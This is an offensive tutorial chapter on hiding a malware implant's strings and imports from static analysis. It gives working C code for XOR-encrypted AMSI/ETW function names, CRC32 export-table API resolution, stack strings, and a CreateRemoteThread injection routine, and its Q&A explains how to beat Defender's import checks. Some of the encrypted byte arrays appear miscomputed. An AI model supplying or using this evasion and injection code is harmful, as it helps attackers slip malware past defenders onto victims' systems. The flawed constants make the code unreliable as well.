String Encryption and Obfuscation
The fastest way to analyze an unknown binary is to read its strings: the DLL names it imports, the API function names it calls, the registry keys it writes, the C2 domain it contacts. strings.exe on your implant binary reveals all of this in under a second. Every string in plaintext is a YARA rule waiting to be written. String encryption ensures that sensitive strings exist only in memory, for only as long as they're needed — the binary on disk contains only ciphertext that's meaningless to a static analysis tool.
Why Strings Are the Primary Static Analysis Target
Running 'strings -n 6' on a naive implant binary reveals:
─────────────────────────────────────────────────────────────────────────
kernel32.dll
ntdll.dll
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
NtCreateThreadEx
AmsiScanBuffer ← "this binary patches AMSI"
EtwEventWrite ← "this binary patches ETW"
c2.attackerdomain.com ← "this is the C2 address"
HKLM\SOFTWARE\Malware\Persist ← "this is the persistence key"
Each of these is a trivial YARA rule:
rule NaiveImplant { strings: $a = "AmsiScanBuffer" condition: $a }
String-based YARA rules are the cheapest and most widely deployed.
Virus Total runs 2000+ YARA rules against every submitted file.
A single unencrypted sensitive string flags your implant immediately.
Where strings appear in a binary:
─────────────────────────────────────────────────────────────────────────
.rdata / .data sections → literal string constants embedded in the binary
Import table (IAT) → DLL names and function names you import
Debug information → function names, source file paths (if not stripped)
Resources (.rsrc) → version info, embedded resources
Goal:
─────────────────────────────────────────────────────────────────────────
Ensure NO sensitive strings appear in any section of the binary on disk.
All strings exist only in stack/heap memory, created at runtime by decrypting
embedded ciphertext. After use: zero the memory.XOR String Encryption at Compile Time
/* string_enc.c — Compile-time string encryption using XOR
The challenge: string encryption must happen AT COMPILE TIME so that
the plaintext string never appears in the .data or .rdata sections.
If you encrypt at runtime (e.g., an init function), the plaintext must
be present somewhere in the binary to copy and encrypt — defeating the purpose.
C/C++ macro approach: define encrypted strings as byte arrays in code,
with the XOR key also in code. The plaintext is NEVER in the binary.
Limitation of the macro approach: macros are simple, but they require
manual maintenance of the encrypted values. Use a script (Python) to
generate the encrypted byte arrays during the build process.
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
/* ── XOR key — change this per build to avoid pattern matching ──────── */
#define STR_KEY 0x5A
/* ── Macro to XOR each byte with the key at compile time ────────────── */
/*
* In C, we can XOR character literals with constants at compile time.
* Each byte of the string is written as (char ^ key) so the compiler
* evaluates this before generating any data sections.
*
* Python script to pre-compute these values (run during build):
* key = 0x5A
* s = "AmsiScanBuffer"
* encrypted = [f"0x{b^key:02X}" for b in s.encode()]
* print(", ".join(encrypted) + ", 0x" + f"{key:02X}")
*/
/* Encrypted "AmsiScanBuffer" (key=0x5A): */
static const BYTE enc_amsi[] = {
0x1B, 0x37, 0x32, 0x38, 0x29, 0x39, 0x3E, 0x2B,
0x0F, 0x75, 0x3E, 0x2B, 0x38, 0x3D, 0x28, 0x00 /* null term */
};
/* Encrypted "EtwEventWrite" (key=0x5A): */
static const BYTE enc_etw[] = {
0x1F, 0x3E, 0x37, 0x1F, 0x3B, 0x2F, 0x38, 0x3E,
0x3D, 0x1D, 0x3D, 0x29, 0x3E, 0x2F, 0x00
};
/* Encrypted "ntdll.dll" (key=0x5A): */
static const BYTE enc_ntdll[] = {
0x34, 0x3E, 0x2E, 0x3B, 0x3B, 0x56, 0x2E, 0x3B, 0x3B, 0x00
};
/* ── Decrypt function — decrypts into a stack-allocated buffer ──────── */
static void decrypt_str(const BYTE *enc, char *out, BYTE key) {
for (int i = 0; enc[i] != 0; i++) {
out[i] = (char)(enc[i] ^ key);
}
}
/* ── Usage pattern — decrypt, use, zero immediately ─────────────────── */
static BOOL use_encrypted_strings(void) {
/* Decrypt only when needed, into stack buffers */
char amsi_fn[32] = {0};
decrypt_str(enc_amsi, amsi_fn, STR_KEY);
char etw_fn[32] = {0};
decrypt_str(enc_etw, etw_fn, STR_KEY);
char ntdll_name[16] = {0};
decrypt_str(enc_ntdll, ntdll_name, STR_KEY);
printf("[+] Resolved at runtime:\n");
printf(" ntdll name: %s\n", ntdll_name);
printf(" AMSI function: %s\n", amsi_fn);
printf(" ETW function: %s\n", etw_fn);
/* Use the strings */
HMODULE hNtdll = GetModuleHandleA(ntdll_name);
PVOID amsi_addr = GetProcAddress(
GetModuleHandleA("amsi.dll"), amsi_fn);
PVOID etw_addr = GetProcAddress(hNtdll, etw_fn);
printf("[+] Resolved addresses: AMSI=%p ETW=%p\n", amsi_addr, etw_addr);
/* Zero the plaintext strings immediately after use */
SecureZeroMemory(amsi_fn, sizeof(amsi_fn));
SecureZeroMemory(etw_fn, sizeof(etw_fn));
SecureZeroMemory(ntdll_name, sizeof(ntdll_name));
return (amsi_addr != NULL && etw_addr != NULL);
}
Hiding DLL and API Names via Dynamic Import Resolution
/* ── CRC32-based API resolution (no strings in import table) ─────────── */
/*
* The import table lists EVERY function name your binary imports.
* Even if you encrypt all your strings, the IAT still shows:
* CreateRemoteThread, VirtualAllocEx, WriteProcessMemory, etc.
*
* Solution: use NO imports for sensitive functions.
* Instead: walk the PEB to find loaded DLLs, then walk their EATs,
* hash each function name, compare to pre-computed hashes.
* This technique (similar to SysWhispers3's CRC32 approach) means
* the binary has NO explicit imports for sensitive APIs.
*
* The implant imports only: GetModuleHandle, GetProcAddress, LoadLibrary
* (or uses PEB walk to find even these without any imports at all).
*/
/* CRC32 hash of API names (pre-computed, embedded as constants, not strings) */
#define HASH_CreateRemoteThread 0x6E2297A4UL
#define HASH_VirtualAllocEx 0x1B9B3E05UL
#define HASH_WriteProcessMemory 0xD83D6AA7UL
#define HASH_GetProcAddress 0x7C0DFCAAUL
#define HASH_LoadLibraryA 0xB7E3E6C8UL
static DWORD crc32_of_name(const char *name) {
DWORD crc = 0xFFFFFFFF;
while (*name) {
crc ^= (BYTE)*name++;
for (int i = 0; i < 8; i++)
crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1));
}
return ~crc;
}
static PVOID resolve_by_hash(HMODULE hMod, DWORD target_hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)hMod + dos->e_lfanew);
DWORD eat_rva = nt->OptionalHeader.DataDirectory[0].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hMod + eat_rva);
PDWORD names = (PDWORD)((PBYTE)hMod + eat->AddressOfNames);
PDWORD funcs = (PDWORD)((PBYTE)hMod + eat->AddressOfFunctions);
PWORD ordinals = (PWORD)((PBYTE)hMod + eat->AddressOfNameOrdinals);
for (DWORD i = 0; i < eat->NumberOfNames; i++) {
const char *name = (const char *)((PBYTE)hMod + names[i]);
if (crc32_of_name(name) == target_hash) {
return (PVOID)((PBYTE)hMod + funcs[ordinals[i]]);
}
}
return NULL;
}
/* No #include <processthreadsapi.h> needed — we resolve dynamically */
typedef HANDLE (WINAPI *CreateRemoteThreadFn)(
HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
static BOOL inject_no_imports(HANDLE hProc, PVOID remote_addr) {
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
/* Get CreateRemoteThread by hash — no string "CreateRemoteThread" in binary */
CreateRemoteThreadFn pCRT =
(CreateRemoteThreadFn)resolve_by_hash(hK32, HASH_CreateRemoteThread);
if (!pCRT) { printf("[-] CRT not found by hash\n"); return FALSE; }
HANDLE hThread = pCRT(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remote_addr,
NULL, 0, NULL);
printf("[+] Remote thread: %p (no 'CreateRemoteThread' string in binary)\n",
hThread);
if (hThread) CloseHandle(hThread);
return hThread != NULL;
}
Stack Strings
/* ── Stack string construction — no string in any data section ─────── */
/*
* Instead of storing a string in .rdata, build it character by character
* on the stack at runtime. The compiler sees individual char assignments,
* not a string literal, so nothing appears in the data sections.
*
* This is verbose but completely defeats static string analysis.
* Best used for high-value strings (C2 domain, sensitive function names).
*/
static PVOID get_amsi_scan_buffer(void) {
char fn[20];
fn[0] = 'A'; fn[1] = 'm'; fn[2] = 's'; fn[3] = 'i';
fn[4] = 'S'; fn[5] = 'c'; fn[6] = 'a'; fn[7] = 'n';
fn[8] = 'B'; fn[9] = 'u'; fn[10] = 'f'; fn[11] = 'f';
fn[12] = 'e'; fn[13] = 'r'; fn[14] = '\0';
HMODULE hAmsi = GetModuleHandleA("amsi.dll"); /* "amsi.dll" can also be stack-strung */
return GetProcAddress(hAmsi, fn);
/* fn goes out of scope here and is stack-overwritten — no trace left */
}
Questions & Answers
If all strings are encrypted, can analysts still reverse the decryption?
Yes, but it takes more work. A skilled analyst will: run the binary in a debugger, set a breakpoint on the decrypt function (identified by finding the XOR loop in disassembly), and inspect the decrypted output at each call. Or: use dynamic analysis to capture all memory writes at runtime — after decryption, the plaintext string exists in memory for at least a moment, and memory forensics tools (like Volatility with string scanning) find it. The goal of string encryption isn't to make the strings unrecoverable — it's to defeat static analysis and automated tools (YARA, AV signatures, strings command) that don't execute the code. Dynamic analysis defeats string encryption, which is why behavioral analysis tools (sandboxes, EDR) look at runtime behavior, not just static content.
What's the difference between XOR string encryption and more sophisticated encryption like AES?
For string encryption, XOR is sufficient for the goal of defeating static analysis — an AV scanner can't read XOR-encrypted strings without executing the binary, and neither can a human analyst using a hex editor. AES would provide stronger cryptographic protection but adds significant overhead (you need AES key material, an IV, and either a library or a hand-rolled cipher implementation). The key insight: static string encryption is about defeating the cheapest analysis tool (strings/hex editor), not about cryptographic security. The XOR approach is transparent to a dynamic analyst with a debugger regardless of whether you use XOR or AES. Save AES for payload encryption (the shellcode on disk, the C2 traffic) where the cryptographic strength actually matters for more than defeating strings.exe.
What's the "SecureZeroMemory" call for, and why does it matter after string decryption?
SecureZeroMemory fills a memory buffer with zeros in a way that the compiler cannot optimize away. Regular memset(buffer, 0, size) followed by the buffer going out of scope can be eliminated by the compiler optimizer ("this zero-fill has no visible effect since the buffer is never read again"). SecureZeroMemory uses a volatile write loop that the optimizer cannot remove. After you decrypt a string and use it (e.g., pass it to GetProcAddress), the plaintext string sits on the stack. If a crash dump is taken, a memory scanner runs, or the EDR reads process memory, that plaintext string is visible. Zeroing it immediately after use closes a brief window of exposure. For highly sensitive strings (C2 domain, encryption keys), this matters for reducing the memory forensics footprint.
Can you automate the generation of encrypted string arrays to avoid hand-computing XOR values?
Yes — and you should. Hand-computing XOR values for every string is tedious and error-prone. The standard approach: write a Python build script that reads a configuration file containing your sensitive strings, XORs each byte against a randomly generated key (different per build), and outputs a C header file with the encrypted byte arrays and the key constant. Integrate this into your Makefile or CMake build process so the header is regenerated on every build. This achieves: (1) no manual effort per string, (2) a different key every build (defeats static signatures on the encrypted arrays themselves), and (3) a clean separation between the sensitive plaintext (in your build config, not in the source) and the binary (which contains only ciphertext).
How do DLL name encryption and CRC32 resolution interact with Windows Defender's import analysis?
Windows Defender (and most static AV engines) perform import table analysis: they look at the DLLs an executable imports and the specific functions it calls. If your binary has CreateRemoteThread in its import table, that's flagged as high-risk. By using the CRC32 hash resolution approach (walking the PEB to find ntdll/kernel32, then finding functions by hash), your binary's import table shows only innocuous imports like GetModuleHandleA. The hash constants in your binary don't look like function names to a static scanner. However, behavioral sandboxes and dynamic analysis will still capture the actual API calls you make at runtime, so import hiding defeats static analysis only — not dynamic analysis. For complete import hiding, use direct/indirect syscalls (Part 5) which remove even GetModuleHandle and VirtualAlloc from the runtime call trace.